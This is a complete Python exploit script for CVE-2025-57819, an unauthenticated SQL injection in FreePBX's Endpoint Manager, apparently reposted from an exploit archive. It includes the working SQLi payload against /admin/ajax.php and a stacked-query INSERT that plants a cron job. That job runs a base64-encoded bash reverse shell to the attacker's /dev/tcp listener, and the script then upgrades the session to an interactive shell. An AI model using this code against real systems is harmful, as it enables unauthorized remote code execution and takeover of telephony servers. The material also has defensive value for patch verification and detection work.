threat_intelligence779 wordsRead on Arc Codex

[webapps] FreePBX 17.0.2

# Exploit Title: FreePBX 17.0.2 - Remote Code Execution # Date: 2026-08-12 # Exploit Author: K3ysTr0K3R (Jared Brits) # Vendor Homepage: https://www.freepbx.org/ # Software Link: https://github.com/FreePBX/freepbx # Version: FreePBX 15.x < 15.0.66, 16.x < 16.0.89, 17.x < 17.0.3 # Tested on: Linux (Debian/Ubuntu) with Asterisk # CVE: CVE-2025-57819 # CWE: CWE-89 (SQL Injection), CWE-288 (Authentication Bypass) # CVSS: 9.8 (Critical) / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H # Tags: FreePBX, SQL Injection, Authentication Bypass, Remote Code Execution, Unauthenticated, Reverse Shell, Cron Injection, CVE-2025-57819 # References: https://nvd.nist.gov/vuln/detail/CVE-2025-57819 | https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h # # Description: # CVE-2025-57819 is a critical unauthenticated SQL injection vulnerability discovered in the # Endpoint Manager module of FreePBX. The flaw resides in the 'brand' parameter of the # /admin/ajax.php endpoint, which fails to sanitize user input before using it in SQL queries. # # An unauthenticated attacker can exploit this by sending a crafted GET request that injects # arbitrary SQL commands. Because the application uses stacked queries (multiple statements # separated by semicolons), an attacker can execute an INSERT statement to add a malicious # cron job to the 'cron_jobs' table. This cron job runs a reverse shell command with # administrative privileges (typically as the Apache user), leading to full remote code # execution on the underlying server. # # The vulnerability affects FreePBX versions 15.x prior to 15.0.66, 16.x prior to 16.0.89, # and 17.x prior to 17.0.3. It has been assigned a CVSS score of 9.8 (Critical) and is # listed in CISA's Known Exploited Vulnerabilities catalog. # # This exploit automates the process by: # 1. Validating the target is vulnerable using an error-based SQLi detection. # 2. Starting a reverse shell listener on the attacker's machine. # 3. Injecting a base64-encoded reverse shell command into the cron_jobs table via the SQLi. # 4. Waiting for the cron job to execute (within 60 seconds) and capturing the shell. # # Usage: # python3 exploit.py -u http://target-freepbx.com --lhost 10.0.0.1 --lport 4444 import sys import time import requests import urllib3 import socket import threading import base64 import argparse from rich.console import Console console = Console() def banner(): console.print("[cyan]CVE-2025-57819 β€’ FreePBX Unauth SQLi β†’ RCE[/cyan]") console.print("[cyan]Coded By: K3ysTr0K3R (Jared Brits)[/cyan]") console.print("[yellow]Need a hug? ʕっ‒α΄₯‒ʔっ[/yellow]") print() urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def validate_sqli(target_url): vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php" payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -" params = { 'module': 'FreePBX\\modules\\endpoint\\ajax', 'command': 'model', 'template': 'x', 'model': 'model', 'brand': payload } try: response = requests.get(vuln_url, params=params, verify=False, timeout=15) if "XPATH syntax error" in response.text and "freepbxuser" in response.text: console.print("[green][+][/green] Exploit path confirmed!") return True else: console.print("[red][-][/red] Target immune – no vulnerable signature detected.") return False except Exception as e: console.print(f"[red][-][/red] Probe failed: {e}") return False def start_listener(lhost, lport): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.bind((lhost, lport)) except Exception as e: console.print(f"[red][-][/red] Listener deployment failed: {e}") sys.exit(1) server.listen(1) console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...") client, addr = server.accept() console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!") pty_attempts = [ b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n", b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n", b"script -q /dev/null /bin/bash\n", ] for cmd in pty_attempts: client.send(cmd) time.sleep(0.5) console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.") def reader(): while True: try: data = client.recv(4096) if not data: break sys.stdout.buffer.write(data) sys.stdout.flush() except: break recv_thread = threading.Thread(target=reader) recv_thread.daemon = True recv_thread.start() try: while True: cmd = input() if cmd.lower() == 'exit': client.close() break client.send((cmd + "\n").encode()) except (EOFError, KeyboardInterrupt): print() console.print("[yellow][!][/yellow] Forced session termination.") client.close() except Exception as e: console.print(f"[red][-][/red] Channel error: {e}") client.close() console.print("[blue][*][/blue] Remote session closed.") def exploit(target_url, lhost, lport): banner() console.print(f"[blue][*][/blue] Target locked: {target_url}") listener_thread = threading.Thread(target=start_listener, args=(lhost, lport)) listener_thread.daemon = True listener_thread.start() time.sleep(1) if not validate_sqli(target_url): console.print("[red][-][/red] Exploit aborted – target not vulnerable.") sys.exit(1) shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'" b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode() final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash" hex_payload = final_cmd.encode().hex() sql_payload = ( f"x' ;INSERT INTO cron_jobs " f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) " f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- " ) vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php" params = { 'module': 'FreePBX\\modules\\endpoint\\ajax', 'command': 'model', 'template': 'x', 'model': 'model', 'brand': sql_payload } console.print("[blue][*][/blue] Injecting payload into cron schedule...") try: response = requests.get(vuln_url, params=params, verify=False, timeout=15) if response.status_code in (200, 500): console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})") console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...") else: console.print(f"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.") console.print(response.text[:200]) sys.exit(1) except Exception as e: console.print(f"[red][-][/red] Injection delivery failed: {e}") sys.exit(1) console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...") listener_thread.join() if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX Unauthenticated SQLi β†’ RCE") parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)") parser.add_argument("--lhost", required=True, help="Listener IP address") parser.add_argument("--lport", type=int, required=True, help="Listener port") args = parser.parse_args() exploit(args.url, args.lhost, args.lport)

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content β€” general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached β€” you'll always get the same 5 for this article.